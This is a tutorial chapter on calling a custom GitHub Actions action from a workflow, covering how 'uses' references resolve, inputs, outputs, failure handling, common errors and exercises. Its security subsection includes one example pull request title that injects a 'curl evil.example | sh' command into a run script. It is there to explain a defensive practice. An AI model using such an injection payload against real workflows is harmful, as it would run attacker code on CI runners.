Sub topic 11
Calling your action from a workflow
This chapter assumes you can read a workflow file (jobs, steps, uses, with) and that you already have an action.yml and an entry point, either the JavaScript one or the Docker one from earlier chapters. Here you will learn how a workflow finds your action, passes it inputs, and reads its outputs. You will also learn which mistakes cause most failures at this stage.
How a step with `uses` is resolved
A step that has a uses key runs an action instead of a shell command. Before the step runs, the runner has to find the action's files and read its action.yml. Where it looks depends on the format of the uses value.
| Form | Example | Where the runner looks |
|---|---|---|
| Local path | `uses: ./` | The workspace, at the repository root |
| Local subdirectory | `uses: ./.github/actions/hello` | A folder in the workspace |
| Repository root | `uses: octo-org/hello-action@v1` | The root of that repository at the ref |
| Repository subfolder | `uses: octo-org/tools/hello@v1` | The `hello` folder in the `tools` repository |
| Docker Hub image | `uses: docker://alpine:3.20` | A prebuilt image, with no `action.yml` |
The part after @ is a ref: a tag, a branch, or a full commit SHA. Local paths take no ref, because they use whatever is checked out.
Using a local action
A local action lives in the same repository as the workflow. The runner reads it from the workspace, so the repository must be checked out first. This is the workflow from the earlier chapters:
name: Test hello action
on: [push]
jobs:
hello:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Run the local action
id: hello
uses: ./
with:
who-to-greet: 'Mona'
- name: Show the output
run: echo "The time was ${{ steps.hello.outputs.time }}"Four things in this file matter:
actions/checkout@v4copies your repository into the workspace. Without it,uses: ./finds noaction.yml.uses: ./points at the repository root. If your action sits in a subfolder, writeuses: ./.github/actions/hello.withsupplies the inputs. Each key must match an input name inaction.ymlexactly, including hyphens.id: hellonames the step. Later steps read its outputs throughsteps.hello.outputs.<name>.
Local actions are the fastest way to iterate. You edit action.yml or the code, push, and the next run uses the new version.
Using an action from another repository
When the action lives in its own repository, reference it by owner, repository, and ref:
name: Use the published action
on: [push]
jobs:
greet:
runs-on: ubuntu-latest
steps:
- name: Greet from the published action
id: hello
uses: octo-org/hello-action@v1
with:
who-to-greet: 'Mona'
- run: echo "Greeted at ${{ steps.hello.outputs.time }}"You do not need a checkout step for this. The runner downloads octo-org/hello-action at v1 on its own. You only need actions/checkout if your own steps need your repository's files.
A public action can be used by any repository. A private action can be used by other repositories only if the action repository's Actions settings allow access. The settings let you share it within your user account or organization.
How inputs reach your code
The with block does not call your code directly. The runner builds a set of values and hands them over in a form that depends on the action type.
- JavaScript actions. Each input becomes an environment variable named
INPUT_plus the input name in upper case. Spaces become underscores, and hyphens stay. Sowho-to-greetbecomesINPUT_WHO-TO-GREET. The callcore.getInput('who-to-greet')reads that variable for you. - Docker actions. Inputs are also set as
INPUT_variables inside the container. In addition,action.ymlcan pass values as arguments withargs, as in${{ inputs.who-to-greet }}. - Defaults and required inputs. If a
withkey is missing, the runner applies thedefaultfromaction.yml. Arequired: trueinput with no value and no default does not stop the run by itself. Your code gets an empty string unless you callcore.getInput('name', { required: true })or check it yourself.
All input values are strings. The workflow value true arrives as the text true, and 5 arrives as "5". Parse them in your action. Use core.getBooleanInput for booleans.
Reading outputs
An output is available as steps.<id>.outputs.<name> to every later step in the same job. Remember two rules:
- The step must have an
id. Without one there is nothing to reference, and the expression evaluates to an empty string without an error. - The output name must match what the action wrote, such as
timein the example.
Outputs are scoped to the job. To use one in another job, expose it through the job's outputs key and read it with needs:
name: Pass an output between jobs
on: [push]
jobs:
greet:
runs-on: ubuntu-latest
outputs:
greeted-at: ${{ steps.hello.outputs.time }}
steps:
- uses: actions/checkout@v4
- id: hello
uses: ./
with:
who-to-greet: 'Mona'
report:
needs: greet
runs-on: ubuntu-latest
steps:
- name: Print the time from the first job
run: echo "Greeted at $GREETED_AT"
env:
GREETED_AT: ${{ needs.greet.outputs.greeted-at }}The report job passes the value through env instead of pasting the expression into the script. The security section below explains why.
Running a step after a failure
When your action calls core.setFailed or exits non-zero, the step fails and later steps are skipped. Three tools let you control what happens next:
if: always()runs a step even after an earlier failure. Use it for cleanup or reporting.if: failure()runs a step only when an earlier step failed.continue-on-error: truelets the job go on after the step fails. The step'soutcomeisfailure, and itsconclusionissuccess.
steps:
- uses: actions/checkout@v4
- id: hello
uses: ./
continue-on-error: true
with:
who-to-greet: 'Mona'
- name: Report what happened
if: always()
run: echo "Outcome was ${{ steps.hello.outcome }}"Use outcome when you want the real result of the step. Use conclusion for the result after continue-on-error has been applied.
Passing multi-line or untrusted values
A with value can be an expression such as ${{ github.event.pull_request.title }}. Your action receives that text as data in an environment variable. This is safe because nothing evaluates it as code.
The same expression pasted into a run script is dangerous. The runner substitutes the text into the script before the shell sees it, so a pull request titled "; curl evil.example | sh # becomes part of the command. Pass untrusted values through with or env, and read them as variables, as the report job above does.
Common errors and what they mean
| Symptom | Likely cause | Fix |
|---|---|---|
| `Can't find 'action.yml', 'action.yaml' or 'Dockerfile'` | `uses: ./` with no checkout, or the wrong subfolder | Add `actions/checkout@v4` first, and check the path |
| `Unable to resolve action` | The ref does not exist, or the repository is private and not shared | Check the tag spelling and the repository's Actions access settings |
| `Unexpected input(s) 'who_to_greet'` (a warning) | The `with` key does not match any input in `action.yml` | Use the exact name, `who-to-greet` |
| The output expression is empty | The step has no `id`, the output name is misspelled, or the action never set it | Add `id`, compare names, and check the action's logs |
| Input is empty inside the action | A required input was omitted and nothing validated it | Use `{ required: true }` in `getInput` |
| Docker action fails on a Windows or macOS runner | Container actions run only on Linux runners | Use `runs-on: ubuntu-latest` |
Testing a change in a workflow
A local workflow is also your first integration test. A useful pattern is to run the action and then assert on its output in the next step:
name: Test hello action
on: [push, pull_request]
jobs:
hello:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- id: hello
uses: ./
with:
who-to-greet: 'Mona'
- name: Check the output is not empty
env:
TIME: ${{ steps.hello.outputs.time }}
run: |
test -n "$TIME" || { echo "time output was empty"; exit 1; }If the action is broken, this job turns red on the pull request before you publish a tag.
Exercise
A workflow runs uses: ./ on ubuntu-latest, and the job fails with "Can't find 'action.yml'". The action.yml file is committed at the repository root. What is the most likely cause, and what is the fix?
Show answer
The job never checked out the repository, so the workspace is empty and the runner has nothing to read. Add - uses: actions/checkout@v4 as a step before the uses: ./ step.
Exercise
A later step contains echo "${{ steps.hello.outputs.time }}" and prints an empty line, although the action's logs show it called core.setOutput('time', ...). Name two things to check in the workflow.
Show answer
First, check that the action step has id: hello, because without an id the expression cannot refer to it. Second, check that the id in the expression matches the step's id exactly. Also confirm the output name is spelled time in both the action and the expression.